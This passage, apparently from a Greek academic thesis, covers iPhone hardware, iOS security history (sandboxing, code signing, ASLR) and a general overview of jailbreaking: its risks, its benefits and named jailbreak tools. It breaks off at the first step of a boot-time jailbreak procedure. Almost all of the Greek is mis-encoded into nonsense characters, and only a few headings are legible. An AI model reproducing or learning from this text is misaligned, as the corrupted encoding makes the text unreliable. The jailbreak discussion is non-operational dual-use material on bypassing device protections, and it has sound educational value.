ηεο κνλάδαο γηα ηερληθέο αθχξσζεο ηνπ ζνξχβνπ. Δάλ ηα αθνπζηηθά είλαη ζπλδεδεκέλα, ν 

ήρνο αλαπαξάγεηαη κέζα απφ απηά . 

ην κηθξφθσλν πνπ πεξηιακβάλνπλ ηα αθνπζηηθά  ππάξρεη έλα θνπκπί πνιιαπιψλ ρξήζεσλ 

πνπ επηηξέπεη ζην ρξήζηε λα μεθηλά ή λα ζηακαηά ηε κνπζηθή, θαζψο, θαη λα απαληά ή λα 

ηεξκαηίδεη ηειεθσληθέο θιήζεηο ρσξίο επαθή κε ην iPhone . 

Έμνδνο video Composite ή component κέρξη 576i θαη ζηεξενθσληθφ ήρν ππάξρεη κε 

θαηάιιειν αληάπηνξα απφ ην βχζκα θφξηηζεο .Σν iPhone 4 ππνζηεξίδεη επίζεο 1024 × 768 

VGA εμφδνπ, ρσξίο ήρν θαη έμνδν HDMI, κε ζηεξενθσληθφ ήρν,πάληα απφ ην ίδην βχζκα θαη 

θαηάιιειν αληάπηνξα. 

 

Μπαταρία 
 

Σν iPhone δηαζέηεη κηα εζσηεξηθή επαλαθνξηηδφκελε κπαηαξία ηφλησλ ιηζίνπ. Ζ 

αληηθαηάζηαζε ηεο κπαηαξίαο απαηηεί ηελ απνζπλαξκνιφγεζε ηεο κνλάδαο iPhone θαη 
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πξφζβαζε ζην εζσηεξηθφ ηεο ζπζθεπήο. ε αληίζεζε κε ηα πεξηζζφηεξα άιια θηλεηά 

ηειέθσλα, ε κπαηαξία δελ αληηθαζίζηαηαη απφ ην ρξήζηε.  

Σν iPhone κπνξεί λα θνξηηζηεί φηαλ είλαη ζπλδεδεκέλν κε έλαλ ππνινγηζηή γηα ζπγρξνληζκφ 

κέζσ ηνπ εηδηθνχ USB  θαισδίνπ ζχλδεζεο. Δλαιιαθηηθά, θνξηίδεηαη κε αληάπηνξα AC. 

 

Ζ ηζηνζειίδα ηεο Apple αλαθέξεη φηη ε δηάξθεηα δσήο ηεο κπαηαξίαο " έρεη ζρεδηαζηεί γηα λα 

δηαηεξεί έσο θαη 80 % ηεο αξρηθήο ηεο απφδνζεο κεηά απφ 400 πιήξεηο θχθινπο θφξηηζεο 

θαη απνθφξηηζεο » 

Κάμερα 
Σα 1εο γεληάο iPhone θαη iPhone 3G έρνπλ κία θάκεξα ζηαζεξήο εζηίαζεο 2.0-megapixel ζην 

πίζσ κέξνο γηα ηηο ςεθηαθέο θσηνγξαθίεο. Γελ έρεη νπηηθφ zoom, θιαο ή απηφκαηε εζηίαζε, 

θαη δελ ππνζηεξίδεη εγγελψο ηελ εγγξαθή βίληεν. (Σν iPhone 3G κπνξεί λα θαηαγξάςεη 

βίληεν κέζσ κηαο εθαξκνγήο ηξίησλ πνπ δηαηίζεληαη ζην App Store.) Σν iPhone OS 2.0 

εηζήγαγε ηε δπλαηφηεηα geotagging (θαηαγξαθή γεσγξαθηθψλ δεδνκέλσλ) γηα ηηο 

θσηνγξαθίεο. 

Σν iPhone 3GS δηαζέηεη κηα θάκεξα 3.2-megapixel κε απηφκαηε εζηίαζε, απηφκαηε 

ηζνξξνπία ιεπθνχ, θαη απηφκαηε θνληηλή εζηίαζε macro (κέρξη 10 cm). Καηαζθεπάδεηαη απφ 

ηελ OmniVision, ε θάκεξα κπνξεί επίζεο λα ζπιιακβάλεη βίληεν 640 × 480 (VGA αλάιπζε) 

ζηα 30 θαξέ αλά δεπηεξφιεπην, Σν βίληεν κπνξεί λα πεξηθνπεί γηα ην iPhone θαη άκεζα λα 

αλέβεη ζε YouTube, MobileMe, ή άιιεο ππεξεζίεο. 

 

Σν iPhone 4 έρεη θάκεξα 5.0-megapixel (2592×1936 pixel) πνπ κπνξεί λα θαηαγξάςεη βίληεν 

ζε αλάιπζε 720p, θαη ζεσξείηαη πςειήο επθξίλεηαο. Έρεη επίζεο έλα backside-illuminated 

αηζζεηήξα πνπ επηηξέπεη ιεηηνπξγία ζε ζπλζήθεο ρακεινχ θσηηζκνχ, έρεη επίζεο έλα LED 

θιαο πνπ κπνξεί λα κείλεη αλακκέλν θαη θαηά ηελ εγγξαθή βίληεν. Πξφθεηηαη γηα ην πξψην 

iPhone πνπ εγγελψο κπνξεί λα θάλεη ιήςε HDR(high dynamic range) θσηνγξαθίαο. Σν 

iPhone 4 έρεη θαη κία δεχηεξε θάκεξα κπξνζηά γηα θσηνγξαθίεο VGA θαη εγγξαθή βίληεν 

SD. 

Ζ θάκεξα ηνπ iPhone 4S είλαη 8megapixel γηα ηε θσηνγξαθία θαη γηα βίληεν 1080p,  θαη 

επηηξέπεη  απεπζείαο πξφζβαζε απφ ηελ νζφλε θιεηδψκαηνο, θαη ιήςε θσηνγξαθηψλ κε ην 

πιήθηξν έληαζεο θσλήο. Σν ελζσκαησκέλν γπξνζθφπην κπνξεί λα ζηαζεξνπνηήζεη ηελ 

εηθφλα θαηά ηελ εγγξαθή βίληεν . 

Σν iPhone 5 θαη iPhone 4Sκε iOS 6, επηηξέπεη ιήςε παλνξακηθψλ θσηνγξαθηψλ 

ρξεζηκνπνηψληαο ηελ ελζσκαησκέλε εθαξκνγή ηεο θάκεξαο, επίζεο ην iPhone 5 λα κπνξεί 

λα θάλεη ιήςε θσηνγξαθίαο θαηά ηελ εγγξαθή βίληεν. 

 

Αποθήκευςη  
 

Σν iPhone αξρηθά θπθινθφξεζε ζε δχν επηινγέο γηα ην κέγεζνο ηεο εζσηεξηθήο κλήκεο 4GB 

ή 8GB. Πνιχ ζχληνκα ζηηο 5 επηεκβξίνπ, 2007, ε Apple δηέθνςε ηα κνληέια 4 GB. ηηο 5 

Φεβξνπαξίνπ 2008, ε Apple πξφζζεζε έλα κνληέιν 16 GB. Σν iPhone 3G ήηαλ δηαζέζηκν ζε 

16 GB θαη 8 GB. Σν iPhone 3GS ήξζε ζε 16 GB θαη 32 GB παξαιιαγέο θαη παξέκεηλε 

δηαζέζηκν ζε 8 GB κέρξη ηνλ επηέκβξην ηνπ 2012, πεξηζζφηεξα απφ ηξία ρξφληα κεηά ηελ 

έλαξμή ηνπ .Σν iPhone 4 είλαη δηαζέζηκν ζε 16 GB θαη 32 GB, θαζψο θαη κηα παξαιιαγή 8 

GB πνπ ζα πσιείηαη καδί κε ην iPhone 4S ζε κεησκέλε ηηκή. Σν iPhone 4S είλαη δηαζέζηκν 

ζε 16 GB, 32 GB θαη 64 GB. Σν iPhone 5 είλαη δηαζέζηκν ζηα ίδηα ηξία κεγέζε 

πξνεγνπκέλσο δηαζέζηκεο γηα ην iPhone 4S, 16 GB, 32 GB θαη 64 GB. ια ηα δεδνκέλα 

απνζεθεχνληαη ζηελ εζσηεξηθή κλήκε. Σν iPhone δελ δέρεηαη εμσηεξηθή θάξηαο κλήκεο, ή 

απνζήθεπζε ζηελ θάξηα SIM  

http://en.wikipedia.org/wiki/Backside_illumination
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Δείκτησ επαφήσ με Υγρό  
ια ηα iPhones (θαη πνιιέο άιιεο ζπζθεπέο ηεο Apple) έρνπλ έλα κηθξφ δίζθν ζην θάησ 

κέξνο ηεο ππνδνρήο ησλ αθνπζηηθψλ πνπ αιιάδεη απφ ιεπθφ ζε θφθθηλν, ζε επαθή κε ην 

λεξφ.  ην iPhone 3G θαη αξγφηεξα κνληέια δηαζέηνπλ επίζεο κηα παξφκνηα έλδεημε ζην θάησ 

κέξνο ηνπ ζεκείνπ ζχλδεζεο θφξηηζεο. Δπεηδή ε εγγχεζε ηεο Apple δελ θαιχπηεη δεκηέο απφ 

λεξφ, νη δείθηεο απηνί εμεηάδνληαη πξηλ απφ ηελ έγθξηζε επηζθεπήο ή αληηθαηάζηαζεο εληφο 

ηνπ ρξφλνπ ηεο εγγχεζεο . 

Απηνί νη δείθηεο ζην iPhone είλαη πεξηζζφηεξν εθηεζεηκέλνη απφ αληίζηνηρνπο ζε θηλεηά 

ηειέθσλα άιισλ θαηαζθεπαζηψλ, νη νπνίνη ηνπο έρνπλ ηνπνζεηήζεη ζε κηα πην 

πξνζηαηεπκέλε ζέζε, φπσο θάησ απφ ηελ κπαηαξία. ην iPhone, νη δείθηεο κπνξεί λα 

ελεξγνπνηεζνχλ θαηά ηελ θαζεκεξηλή ρξήζε, απφ ηνλ ηδξψηα ηνπ ηδηνθηήηε, αηκφ ζην 

κπάλην θαη γηα ην ιφγν απηφ ρξεηάδεηαη πξνζνρή. 

 

Βηβιηνγξαθία γηα iOS θαη αξρηηεθηνληθή ARM: 

 Mac OS X Internals: A Systems Approach, Amit Singh (Addison-Wesley, 2006) 

 Mac OS X and iOS Internals: To the Apple's Core, Jonathan Levin (Wrox, 2012) 

 OS X and iOS Kernel Programming, Ole Henry Halvorsen (Apress, 2011) 

 iOS Hacker's Handbook, Charlie Miller et al. (Wiley, 2012) 

 The Mac Hacker's Handbook, Charlie Miller et al. (Wiley, 2009) 

 Programming under Mach, Joseph Boykin et al. (Addison-Wesley, 1993) 

 ARM System Developer's Guide: Designing and Optimizing System Software, Andrew Sloss et al. 
(Morgan Kaufmann, 2004) 

 ARM Reference Manuals, infocenter.arm.com/help/topic/com.arm.doc.subset. 
architecture.reference / index.html#ref erence 

 The base operating system source code for Mac OS X, opensource.apple.com  
(Τμήματα αυτού του κώδικα είναι κοινά με το iOS και πολλές φορές συνεισφέρουν στην 
κατανόηση λειτουργιών του iOS)  
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4.2 Αςφάλεια ςτο iOS 
 

Σν iOS είλαη ζηελ αγνξά ήδε επηά πεξίπνπ ρξφληα. Καηά ηε δηάξθεηα απηήο ηεο ρξνληθήο 

πεξηφδνπ, ε πιαηθφξκα έρεη εμειηρζεί ζε κεγάιν βαζκφ, ηδίσο φζνλ αθνξά ην ιεηηνπξγηθφ 

ζχζηεκα θαη ην κνληέιν αζθαιείαο πνπ εθαξκφδεηαη. ηαλ ην iPhone θπθινθφξεζε γηα 

πξψηε θνξά, ε Apple δήισζε δεκφζηα φηη δελ είρε ηελ πξφζεζε λα επηηξέςεη ζε εθαξκνγέο 

ηξίησλ λα ηξέρνπλ ζηε ζπζθεπή. Ζ θαηεχζπλζε πνπ έδηλε ε Apple ζηνπο πξνγξακκαηηζηέο 

γηα ηελ αλάπηπμε, αιιά θαη ζηνπο ρξήζηεο γηα ηε ρξήζε εθαξκνγψλ, ήηαλ web εθαξκνγέο, 

πξνζβάζηκεο κέζσ ηνπ ελζσκαησκέλνπ web browser ηνπ iPhone. 

Γηα έλα ρξνληθφ δηάζηεκα, ιφγσ ηεο ρξήζεο απνθιεηζηηθά θαη κφλν ινγηζκηθνχ ηεο Apple 

πνπ εθηειείηαη ζε φιεο ηηο ζπζθεπέο, νη απαηηήζεηο αζθαιείαο ήηαλ ζεκαληηθά κεησκέλεο. 

Χζηφζν, ε έιιεηςε εθαξκνγψλ ηξίησλ ζηεξνχζε ζηνπο ρξήζηεο ηε δπλαηφηεηα λα 

αμηνπνηήζνπλ πιήξσο ηηο ζπζθεπέο ηνπο.  

ε κηθξφ ρξνληθφ δηάζηεκα, νη hackers άξρηζαλ λα βξίζθνπλ ηξφπνπο γηα λα γίλνπλ ρξήζηεο 

root ή λα θάλνπλ "jailbreak" ησλ ζπζθεπψλ ηνπο θαη λα εγθαζηζηνχλ ινγηζκηθφ ηξίησλ. Χο 

απάληεζε ζε απηφ, αιιά θαη ζηε δήηεζε ησλ ρξεζηψλ γηα ηε δπλαηφηεηα λα εγθαηαζηήζνπλ 

εθαξκνγέο ζηηο ζπζθεπέο ηνπο, ε Apple ην 2008 θπθινθφξεζε κηα ελεκεξσκέλε έθδνζε ηνπ 

iOS πνπ πεξηιάκβαλε ππνζηήξημε γηα κηα λέα ππεξεζία, κε ηελ νλνκαζία App Store.  

Σν App Store έδσζε ζηνπο ρξήζηεο ηελ επθαηξία λα αγνξάζνπλ θαη λα εγθαηαζηήζνπλ 

εθαξκνγέο ηξίησλ. Απφ ηελ έλαξμε ηνπ App Store, πάλσ απφ 800.000 εθαξκνγέο έρνπλ 

θπθινθνξήζεη ζηελ αγνξά, κε ζπλνιηθά πάλσ απφ 40 δηζεθαηνκκχξηα εθαξκνγέο λα έρνπλ 

εγθαηαζηαζεί απφ ηνπο ρξήζηεο, κέρξη ηα κέζα ηνπ 2013. Ζ Apple άξρηζε επίζεο λα 

πεξηιακβάλεη πξφζζεηα κέηξα αζθαιείαο ζε απηή θαη ζε φιεο επφκελεο εθδφζεηο ηνπ iOS . 

Οη αξρηθέο εθδφζεηο ηνπ iOS είραλ πεξηνξηζκέλεο επηδφζεηο απφ ηελ άπνςε ηεο πξνζηαζίαο 

θαη αζθάιεηαο. ιεο νη δηαδηθαζίεο έηξεραλ κε ηα πξνλφκηα superuser (root). Οη δηεξγαζίεο 

δελ έηξεραλ ζε «sandbox» ή ππφ θάπνην πεξηνξηζκφ απφ ηελ άπνςε ησλ πφξσλ ηνπ 

ζπζηήκαηνο ζηνπο νπνίνπο κπνξνχζαλ λα έρνπλ πξφζβαζε. Γελ ήηαλ ζε ρξήζε ε 

θσδηθνπνηεκέλε ππνγξαθή γηα ηελ εμαθξίβσζε ηεο πξνέιεπζεο ησλ εθαξκνγψλ ( θαη ηνλ 

έιεγρν ηεο εθηέιεζεο απηψλ). Γελ ήηαλ ζε ρξήζε ηερληθέο φπσο ε Address Space Layout 

Randomization (ASLR) ή Position Independent Executable (PIE) γηα παξνρή ππνζηήξημεο 

ηνπ ππξήλα, βηβιηνζεθψλ, ή άιισλ ζπληζησζψλ ηνπ ζπζηήκαηνο ή θαη εθαξκνγψλ. Δπίζεο, 

ιίγνη έιεγρνη ηνπ hardware είραλ ηεζεί ζε εθαξκνγή γηα ηελ πξφιεςε ηνπ hacking ησλ 

ζπζθεπψλ. 

Με ηελ πάξνδν ηνπ ρξφλνπ, ε Apple άξρηζε λα εηζαγάγεη βειηησκέλεο ιεηηνπξγίεο 

αζθαιείαο.  

Γηα κηθξφ ρξνληθφ δηάζηεκα, νη εθαξκνγέο ηξίησλ εθηεινχληαλ φρη κε ηα πξνλφκηα ηνπ 

superuser αιιά ππφ έλα ιηγφηεξν πξνλνκηνχρν ινγαξηαζκφ ρξήζηε νλνκαδφκελν mobile. Με 

ηελ πάξνδν ηνπ ρξφλνπ, πξνζηέζεθε Sandboxing ππνζηήξημε, πεξηνξίδνληαο ηηο εθαξκνγέο 

ζε έλα επί κέξνπο ζχλνιν ησλ πφξσλ ηνπ ζπζηήκαηνο.  

Δπηπιένλ, πξνζηέζεθε ππνζηήξημε γηα επαιήζεπζε ηνπ θσδηθνχ ππνγξαθήο. Με ηελ 

πξνζζήθε απηή, νη εθαξκνγέο πνπ εγθαζίζηαληαη ζε κηα ζπζθεπή έπξεπε λα έρνπλ 

ππνγξαθεί απφ ηελ Apple πξνθεηκέλνπ λα επηηξαπεί ε εθηέιεζε ηνπο. Σειηθά, ε επαιήζεπζε 

ηνπ θσδηθνχ ππνγξαθήο ηέζεθε ζε εθαξκνγή ηφζν θαηά ην ρξφλν θφξησζεο (κε θσδηθφ 

ππεχζπλν, γηα ηε δξνκνιφγεζε ελφο εθηειέζηκνπ), θαζψο θαη θαηά ην ρξφλν εθηέιεζεο, ζε 

κηα πξνζπάζεηα λα απνηξαπεί ε δεκηνπξγία λέσλ θσδηθψλ θαη ε πξνζζήθε απηψλ ζηε κλήκε 

θαη ζηε ζπλέρεηα λα εθηειεζζεί. 

Παξάιιεια, πξνζηέζεθαλ ASLR γηα ηνλ ππξήλα, άιια ζηνηρεία ηνπ ιεηηνπξγηθνχ 
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ζπζηήκαηνο, θαη ηηο βηβιηνζήθεο, θαζψο θαη κηα επηινγή compile-time γηα Xcode γλσζηή σο 

PIE. Ζ PIE, φηαλ ζπλδπάδεηαη κε ηηο πξφζθαηεο εθδφζεηο ηνπ iOS, απαηηεί νη εθαξκνγέο λα 

θνξηψλνπλ ζε δηαθνξεηηθή δηεχζπλζε βάζεο κεηά απφ θάζε εθηέιεζε, δπζθνιεχνληαο πνιχ 

ηηο εππάζεηεο πνπ ζπλδένληαη κε ζπγθεθξηκέλεο εθαξκνγέο. 

ιεο απηέο νη αιιαγέο θαη βειηηψζεηο πνπ έρνπλ γίλεη κέρξη ζήκεξα ζην iOS έρνπλ βειηηψζεη 

θαηά πνιχ ην κνληέιν αζθαιείαο ηνπ. 

ηελ πξάμε, ε δηαδηθαζία δηαλνκήο εθαξκνγψλ απνθιεηζηηθά απφ ην App Store ζε 

ζπλδπαζκφ κε ην ζχλνιν ησλ κέηξσλ αζθαιείαο πνπ εθαξκφδνληαη ζην ιεηηνπξγηθφ 

ζχζηεκα iOS, ην έρνπλ θαηαζηήζεη έλα απφ ηα πην αζθαιή, ζε επίπεδν θαηαλαισηή, 

ιεηηνπξγηθά ζπζηήκαηα. Απηφ επηβεβαηψλεηαη θαη επηθπξψλεηαη απφ ηελ απνπζία 

θαθφβνπισλ επηζέζεσλ ζηελ πιαηθφξκα, αθφκα θαη ππφ ιηγφηεξν αζθαιείο εθδφζεηο. 

Χζηφζν, αλ θαη ην iOS έρεη ζεκεηψζεη κεγάιε πξφνδν, ζα ήηαλ αθειέο λα πηζηεχνπκε φηη ε 

πιαηθφξκα είλαη άηξσηε απφ επηζέζεηο. Αλ θαη δελ έρνπκε δεη κέρξη ζήκεξα πνιιέο επηζέζεηο 

θαθφβνπινπ θψδηθα κε ζηφρν ηελ πιαηθφξκα, ππάξρνπλ παξαδείγκαηα πνπ δείρλνπλ φηη ην 

iOS, έρεη ηηο αδπλακίεο ηνπ, θαη κπνξεί λα δερζεί επηζέζεηο hackers.  

 

 

Jailbreaking 
 

ηαλ κηιάκε γηα ηελ αζθάιεηα ζε γεληθέο γξακκέο, έρνπκε ηελ ηάζε λα ζθεθηφκαζηε 

ζρεηηθά κε ηα ζπζηήκαηα πνπ απνηεινχλ ζηφρν επίζεζεο θαη ηνπο ηξφπνπο, πνπ ρξεζηκνπνηεί 

θάπνηνο γηα λα πξαγκαηνπνηήζεη απηέο ηηο επηζέζεηο ή ηνπο ηξφπνπο λα ππεξαζπηζηνχκε ηνπο 

εαπηνχο καο απφ επηζέζεηο. 

πλήζσο, δελ ζθεθηφκαζηε ζρεηηθά κε ηελ αλάγθε γηα rooting ησλ ζπζηεκάησλ θάησ απφ ην 

δηθφ καο έιεγρν. ηελ πεξίπησζε ησλ θηλεηψλ, απηφ είλαη έλα πξφβιεκα πνπ πξέπεη λα 

αληηκεησπηζηεί. Γηα λα κάζνπκε πεξηζζφηεξα ζρεηηθά κε ηηο θηλεηέο ζπζθεπέο καο ή λα 

απνθηήζνπκε ηελ επειημία πνπ απαηηείηαη γηα ηελ αζθαιή ρξήζε ηνπο ζε ζέκαηα πνπ 

ζρεηίδνληαη κε νπνηνδήπνηε ζθνπφ πνπ δελ ππνζηεξίδεηαη απφ ηνλ θαηαζθεπαζηή πξέπεη λα 

απνθηήζνπκε πξφζβαζε ζην εζσηεξηθφ ηεο ζπζθεπήο.  

ηελ πεξίπησζε ηνπ iOS, ε Apple έρεη θαηαβάιιεη θάζε πξνζπάζεηα γηα λα εκπνδίζεη ηνπο 

πειάηεο ηεο λα απνθηήζνπλ πιήξε πξφζβαζε ζηηο ζπζθεπέο ηνπο. Παξφια απηά θαη ζηελ 

πεξίπησζε ηνπ iOS, έρνπλ ππάξμεη ηα εξγαιεία πνπ παξέρνπλ ηε δπλαηφηεηα λα 

πξνρσξήζνπκε ζε jailbreaking (rooting) ηνπ ιεηηνπξγηθνχ. 

Γηα λα εηζρσξήζνπκε ζηνλ θφζκν ηνπ hacking ηνπ iPhone, ζα πξέπεη λα ζπδεηήζνπκε 

ζρεηηθά κε ην πψο κπνξεί θάπνηνο λα ην επηηχρεη ζην δηθφ ηνπ ηειέθσλν. Χο πξψην βήκα 

πξνο απηφ ην ζηφρν, είλαη ρξήζηκν λα εμεηάζνπκε ηη αθξηβψο ζεκαίλεη ν φξνο jailbreaking.  

Σν jailbreaking κπνξεί λα πεξηγξαθεί σο ε δηαδηθαζία αλάιεςεο πιήξνπο έιεγρνπ κηαο 

ζπζθεπήο πνπ ηξέρεη iOS. Απηφ κπνξεί λα γίλεη κε ηε ρξήζε ελφο απφ ηα πνιιά εξγαιεία πνπ 

είλαη δηαζέζηκα δσξεάλ ζην δηαδίθηπν ή αθφκα, ζε νξηζκέλεο πεξηπηψζεηο, κε ηελ απιή 

επίζθεςε ζε κηα ζπγθεθξηκέλε ηζηνζειίδα. 

Σν ηειηθφ απνηέιεζκα ελφο επηηπρνχο jailbreak είλαη φηη κπνξείο λα ξπζκίζεηο ην iPhone ζνπ 

κε custom themes, λα εγθαηαζηήζεηο εθαξκνγέο ή επεθηάζεηο ζε εθαξκνγέο, λα ξπζκίζεηο ηε 

ζπζθεπή ψζηε λα επηηξέπεη ηελ απνκαθξπζκέλε πξφζβαζε κέζσ SSH ή VNC, λα 

εγθαηαζηήζεηο άιιν ινγηζκηθφ ή αθφκα θαη λα κεηαγισηηίζεηο ινγηζκηθφ (compile software) 

άκεζα ζηε ζπζθεπή. 
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Σν γεγνλφο φηη κπνξνχκε λα «απειεπζεξψζνπκε» ζρεηηθά εχθνια ηε ζπζθεπή καο θαη λα ηε 

ρξεζηκνπνηήζνπκε γηα λα κάζνπκε ζρεηηθά κε ην ιεηηνπξγηθφ ζχζηεκα ή απιά λα θάλνπκε 

πεξηζζφηεξα κε απηήλ, είλαη ζίγνπξα ζεηηθφ. 

Σν jailbreaking, σζηφζν, έρεη θάπνηα κεηνλεθηήκαηα, πνπ ζα πξέπεη γλσξίδνπκε. Πξψηνλ, 

ππάξρεη πάληα ε ακθηβνιία σο πξνο ηη αθξηβψο θάλεη ην ινγηζκηθφ jailbreak ζε κηα ζπζθεπή. 

Ζ δηαδηθαζία jailbreak εθκεηαιιεχεηαη κηα ζεηξά εππαζεηψλ πξνθεηκέλνπ λα αλαιάβεη ηνλ 

έιεγρν κηαο ζπζθεπήο. Καηά ηε δηάξθεηα απηήο ηεο δηαδηθαζίαο, έλαο επηηηζέκελνο ζα 

κπνξνχζε λα εηζάγεη ή λα ηξνπνπνηήζεη θάηη ζρεηηθά εχθνια, ρσξίο λα ην αληηιεθζεί ν 

ρξήζηεο. Χζηφζν, ζηηο γλσζηέο εθαξκνγέο jailbreak, απηφ δελ έρεη παξαηεξεζεί πνηέ. κσο 

ππήξμε πιεξνθφξεζε φηη ζε κία ηνπιάρηζηνλ πεξίπησζε, ςεχηηθν ινγηζκηθφ jailbreak είρε 

ζρεδηαζηεί γηα λα δειεάζεη ρξήζηεο πνπ αλαδεηνχλ jailbreak εθδφζεηο γηα ην iOS, κε 

θαθφβνπινπο πξνθαλψο ζθνπνχο. 

Κηλεηέο ζπζθεπέο πνπ έρνπλ ππνζηεί jailbreak κπνξνχλ επίζεο λα ράζνπλ νξηζκέλεο 

ιεηηνπξγίεο. Γηα παξάδεηγκα, είλαη γλσζηφ φηη νη θαηαζθεπαζηέο έρνπλ ελζσκαηψζεη δηθέο 

ηνπο εθαξκνγέο πνπ αλαθέξνπλ πηζαλά ζθάικαηα ή απνθιείνπλ κηα εθαξκνγή θαηά ηελ 

εθθίλεζε (ηα iBooks είλαη έλα ηέηνην παξάδεηγκα). 

Μηα άιιε ζεκαληηθή πηπρή ηνπ jailbreaking πνπ πξέπεη λα γλσξίδνπκε είλαη ην γεγνλφο φηη, 

είλαη απελεξγνπνηεκέλε ε επηθχξσζε ηεο ππνγξαθήο θψδηθα, σο κέξνο ηεο δηαδηθαζίαο. 

Απηή είλαη κηα αιιαγή πνπ απαηηείηαη ψζηε νη ρξήζηεο λα είλαη ζε ζέζε λα εθηειέζνπλ 

απζαίξεην θψδηθα ζηηο ζπζθεπέο ηνπο (έλαο απφ ηνπο ζηφρνπο ηνπ jailbreaking). Σν 

κεηνλέθηεκα είλαη φηη ε ζπζθεπή κπνξεί πιένλ λα ηξέμεη αλππφγξαθν θψδηθα, απμάλνληαο 

ηνλ θίλδπλν γηα ηνλ ρξήζηε ζε πεξίπησζε πνπ απηφο είλαη θαθφβνπινο. 

Δπίζεο, ππάξρεη θάπνηα πηζαλφηεηα γηα «bricking» ηεο ζπζθεπήο, θαηά ηε δηαδηθαζία 

jailbreak. Σν «bricking» αθνξά νπζηαζηηθά ηελ θαηαζηξνθή ηεο ζπζθεπήο, δεδνκέλνπ φηη 

θαζηζηά αδχλαηε ηε ρξήζε ηεο. Έρνληαο ππ’ φςηλ φηη ην jailbreaking αθπξψλεη ηελ εγγχεζε 

κηαο ζπζθεπήο, δελ ππάξρεη θαλέλαο ηξφπνο γηα επαλαθνξά ηεο ζπζθεπήο ζε ιεηηνπξγία, εάλ 

ζπκβεί θάηη ηέηνην. 

 

Δίλαη ζεκαληηθφ λα γλσξίδνπκε θαη λα εμεηάζνπκε ηα πιενλεθηήκαηα θαη ηα κεηνλεθηήκαηα 

ηνπ jailbreaking. Απφ ηε κία πιεπξά, κπνξνχκε λα θαηαιήμνπκε κε κηα ζπζθεπή πνπ κπνξεί 

λα αμηνπνηεζεί ζην κέγηζην δπλαηφ βαζκφ. Απφ ηελ άιιε πιεπξά, εθζέηνπκε ηε ζπζθεπή ζε 

πηζαλνχο θαη πνηθίινπο θνξείο επίζεζεο πνπ ζα κπνξνχζαλ λα νδεγήζνπλ ζε ππνβάζκηζή 

ηεο. 

Λίγεο πεξηπηψζεηο έρνπλ αλαθεξζεί πνπ επεξεάδνπλ ηελ αζθάιεηα jailbroken ηειέθσλσλ 

θαη, ζε γεληθέο γξακκέο, ηα νθέιε ηνπ jailbreaking αληηζηαζκίδνπλ ηνπο θηλδχλνπο. ε θάζε 

πεξίπησζε νη ρξήζηεο πξέπεη λα είλαη πξνζεθηηθνί ζρεηηθά κε ην jailbreaking ζε ζπζθεπέο 

ζηηο νπνίεο ζα απνζεθεχνληαη επαίζζεηεο πιεξνθνξίεο. 

χκθσλα κε πιεξνθνξίεο απφ ην δηαδίθηπν, ην πνζνζηφ ησλ ζπζθεπψλ iOS πνπ έρνπλ 

ππνζηεί jailbreaking είλαη ηεο ηάμεο ηνπ 3-5%. 

 

Τπάξρνπλ ηνπιάρηζηνλ κεξηθνί ηξφπνη γηα λα μεθιεηδψζνπκε (jailbreak) έλα iPhone. Με ηελ 

πξψηε ηερληθή γίλεηαη αλάιεςε ηνπ ειέγρνπ ηεο ζπζθεπήο θαηά ηε δηάξθεηα ηεο δηαδηθαζίαο 

εθθίλεζεο θαη εηζάγεηαη έλα customized firmware ζηε ζπζθεπή. Απηή ε ηερληθή κπνξεί λα 

ρξεζηκνπνηεζεί γηα παιαηφηεξεο ζπζθεπέο (ζπζθεπέο iPhone 3G/3GS/4G θαζψο θαη ην iPod 

4G θαη iPad 1) .  
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Ζ δεχηεξε ηερληθή πεξηιακβάλεη ηε θφξησζε ελφο αξρείνπ ζε κηα ζπζθεπή πνπ αξρηθά 

παίξλεη ηνλ έιεγρν κηαο δηαδηθαζίαο ειεγρφκελεο απφ ην ρξήζηε, θαη ζηε ζπλέρεηα 

αλαιακβάλεη ηνλ έιεγρν ηνπ ππξήλα. Ζ ηερληθή απηή πεξηγξάθεηαη σο κηα εληειψο 

απνκαθξπζκέλε ηερληθή. 

Απηή ε δεχηεξε πεξίπησζε παξνπζηάδεηαη αλαιπηηθά ζηελ ηζηνζειίδα jailbreakme.com, ε 

νπνία, ηα ηειεπηαία ρξφληα, έρεη θηινμελήζεη πνιιαπιέο πεξηπηψζεηο ηερληθψλ 

απνκαθξπζκέλνπ jailbreak.  

Μηα ηξίηε ηερληθή ,κε ηελ νλνκαζία corona ή absinthe jailbreak, αλαπηχρζεθε ζηηο αξρέο ηνπ 

2012 γηα λα ρξεζηκνπνηεζεί ζε ζπζθεπέο φπσο ην iPhone 4S θαη iPad 2/3 θαηά ηε ιεηηνπξγία 

iOS V5. 

H πην πξφζθαηε ηερληθή jailbreak, γλσζηή σο evasiΟn, θπθινθφξεζε ην 2013 γηα λα παξέρεη 

ππνζηήξημε γηα ην iPhone 5, iPod 5G, iPad 4 θαη iPad mini. Σξέρεη ζε iOS έθδνζε 6.x. 

 

Πξέπεη λα ζεκεησζεί φηη παξά ηηο φπνηεο δηαθνξεηηθέο απφςεηο, ε θνηλφηεηα ηνπ jailbreak 

έρεη, ζε γεληθέο γξακκέο, θάλεη πεξηζζφηεξα γηα λα πξνσζήζεη ηελ αζθάιεηα ηνπ iOS απφ 

νπνηαδήπνηε άιινλ, κε εμαίξεζε ηελ Apple. Με ηελ παξνρή απεξηφξηζηεο πξφζβαζεο ζηελ 

πιαηθφξκα, έγηλε επηηξεπηή ε νπζηαζηηθή έξεπλα γηα ηελ αζθάιεηα,  πνπ νδήγεζε κε ηελ 

ζεηξά ηεο ηελ εμέιημε ηνπ κνληέινπ αζθαιείαο ηνπ iOS απφ αλαζθαιέο αξρηθά, εθεί πνπ 

βξίζθεηαη ζήκεξα. Ζ θνηλφηεηα ζπλερίδεη ηε ζθιεξή θαη άξηηα ηερληθά δνπιεηά θαη 

εληππσζηάδεη γηα ηελ ηθαλφηεηα ηεο, κε ηελ θπθινθνξία θάζε λένπ jailbreak.  
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Jailbreak κατά την εκκίνηςη τησ ςυςκευήσ 
Αξρηθά, αο ξίμνπκε κηα καηηά ζηελ ηερληθή jailbreak θαηά ηελ εθθίλεζε ηεο ζπζθεπήο. Ζ 

γεληθή δηαδηθαζία γηα ηελ αμηνπνίεζε απηήο ηεο ηερληθήο πεξηιακβάλεη ηα εμήο βήκαηα: 

1. Απνθηήζηε ην θαηάιιειν firmware (επίζεο γλσζηφ σο IPSW) πνπ ηαηξηάδεη κε ηελ έθδνζε 

iOS θαη ην κνληέιν ηεο ζπζθεπήο πνπ επηζπκείηε λα θάλεηε jailbreak. Κάζε ζπζθεπή έρεη θαη 

